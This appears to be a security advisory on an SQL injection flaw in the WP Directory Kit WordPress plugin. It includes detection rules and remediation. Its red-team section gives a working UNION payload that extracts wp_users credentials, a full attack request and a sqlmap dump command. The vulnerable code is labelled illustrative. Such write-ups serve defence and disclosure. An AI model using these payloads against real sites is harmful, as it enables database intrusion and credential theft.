CVE-2025-13089

Executive Summary

CVE-2025-13089 is a critical unauthenticated SQL Injection vulnerability discovered in the WP Directory Kit WordPress plugin (versions up to and including 1.4.7). The flaw resides in the hide_fields and attr_search parameters, which are insufficiently sanitized and prepared before being used in SQL queries. An unauthenticated attacker can inject arbitrary SQL commands, leading to the extraction of sensitive data from the WordPress database, including user credentials, session tokens, and other confidential information. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched, posing a significant risk to all sites using the affected plugin.

Supply Chain & Package Security

This vulnerability affects the WP Directory Kit plugin distributed through the official WordPress plugin repository. As a WordPress plugin, it is part of the WordPress ecosystem and is not an NPM, PyPI, Go, or Ruby package. The plugin is installed directly by site administrators via the WordPress admin dashboard or by manual upload. The lack of a patch means that all installations remain vulnerable, and the supply chain risk is elevated because the plugin is widely used for directory and listing management.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is High due to the ease of exploitation (no authentication required) and the potential for complete database compromise. The EPSS score of 0.0% suggests low exploitation likelihood at the time of analysis, but this may change as the vulnerability becomes more widely known.

Deep Dive & Mechanics

The vulnerability exists in the WP Directory Kit plugin's handling of the hide_fields and attr_search parameters. These parameters are used to filter directory listings and search results. The plugin fails to properly escape user-supplied input and does not use prepared statements for the SQL queries that incorporate these parameters.

Technical Flow:

1. An unauthenticated user sends a GET or POST request to a page using the WP Directory Kit shortcode.
2. The request includes the hide_fields or attr_search parameter with malicious SQL payload.
3. The plugin concatenates the user input directly into an SQL query without proper sanitization or parameterization.
4. The injected SQL is executed against the WordPress database, allowing the attacker to extract data from any table.

Example vulnerable SQL query (pseudocode):

SELECT * FROM wp_posts WHERE post_type = 'directory' AND (hide_fields = '{$_GET['hide_fields']}') OR (attr_search = '{$_GET['attr_search']}')

An attacker can inject a UNION-based SQL injection to retrieve data from other tables, such as wp_users.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.4.7 and earlier):

// In wp-directory-kit/includes/class-wdk-query.php
$hide_fields = $_GET['hide_fields'];
$attr_search = $_GET['attr_search'];

$sql = "SELECT * FROM {$wpdb->prefix}wdk_listings WHERE hide_fields = '$hide_fields' OR attr_search = '$attr_search'";
$results = $wpdb->get_results($sql);

Patched Code (hypothetical fix):

// In wp-directory-kit/includes/class-wdk-query.php
$hide_fields = sanitize_text_field($_GET['hide_fields']);
$attr_search = sanitize_text_field($_GET['attr_search']);

$sql = $wpdb->prepare(
    "SELECT * FROM {$wpdb->prefix}wdk_listings WHERE hide_fields = %s OR attr_search = %s",
    $hide_fields,
    $attr_search
);
$results = $wpdb->get_results($sql);

The patched code uses sanitize_text_field() to strip malicious characters and $wpdb->prepare() to ensure parameterized queries, preventing SQL injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with WP Directory Kit plugin version 1.4.7 or earlier.
• A directory page using the plugin's shortcode.

Exploitation Steps:

1. Identify a page that uses the WP Directory Kit shortcode (e.g., /directory/).
2. Craft a malicious request to the page with the hide_fields parameter containing a SQL injection payload.

Example Payload:

' UNION SELECT user_login, user_pass, user_email FROM wp_users --

Full Request:

GET /directory/?hide_fields=' UNION SELECT user_login, user_pass, user_email FROM wp_users -- HTTP/1.1
Host: target-wordpress-site.com

Automated Exploitation with sqlmap:

sqlmap -u "http://target-wordpress-site.com/directory/?hide_fields=1" --batch --dbs --tables --dump

Expected Output: The attacker will receive the contents of the wp_users table, including hashed passwords and email addresses.

Blue Team

Detection Steps:

1. Monitor web server logs for requests containing SQL keywords (e.g., UNION, SELECT, FROM) in the hide_fields or attr_search parameters.
2. Use WAF rules to block requests with suspicious patterns in these parameters.
3. Check for unusual database queries that deviate from normal plugin behavior.

Honeypot Setup:

• Deploy a decoy WordPress site with the vulnerable plugin to capture attacker payloads.
• Log all requests to the /directory/ endpoint for analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing SQL injection patterns in the hide_fields or attr_search parameters.
• Unusual SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

File IOCs:

• Modified plugin files in /wp-content/plugins/wp-directory-kit/ (if attacker attempts to backdoor).
• Suspicious entries in WordPress database tables (e.g., new admin users).

Log IOCs:

• Web server logs showing requests with UNION, SELECT, FROM, wp_users, or information_schema in query strings.
• Database logs showing unexpected queries from the WordPress user.

Detection Engineering

YARA Rule

rule CVE_2025_13089_WP_Directory_Kit_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-13089 in WP Directory Kit plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-13089"
    strings:
        $sqli1 = /hide_fields=.*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR 1=1|OR '1'='1')/i
        $sqli2 = /attr_search=.*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR 1=1|OR '1'='1')/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-13089 WP Directory Kit SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against WP Directory Kit plugin via hide_fields or attr_search parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'hide_fields='
            - 'attr_search='
        cs-uri-query|re: '(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR 1=1|OR \'1\'=\'1\')'
    condition: selection
falsepositives:
    - Legitimate use of these parameters with similar text (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13089 WP Directory Kit SQL Injection Attempt"; flow:to_server,established; content:"hide_fields="; nocase; http_uri; pcre:"/(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR 1=1|OR '1'='1')/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP Directory Kit plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block SQL injection patterns in the hide_fields and attr_search parameters.
3. Restrict access to the plugin's directory pages using IP whitelisting or authentication if possible.

Long-Term Fixes:

• Monitor the plugin's official page for a security update and apply it immediately when released.
• Consider replacing the plugin with an alternative that is actively maintained and secure.
• Conduct a security audit of all WordPress plugins and themes to identify similar vulnerabilities.

Database Cleanup:

• If exploitation is suspected, rotate all user passwords and review database for unauthorized changes.
• Use a security plugin to scan for backdoors or malicious code.

Valters IT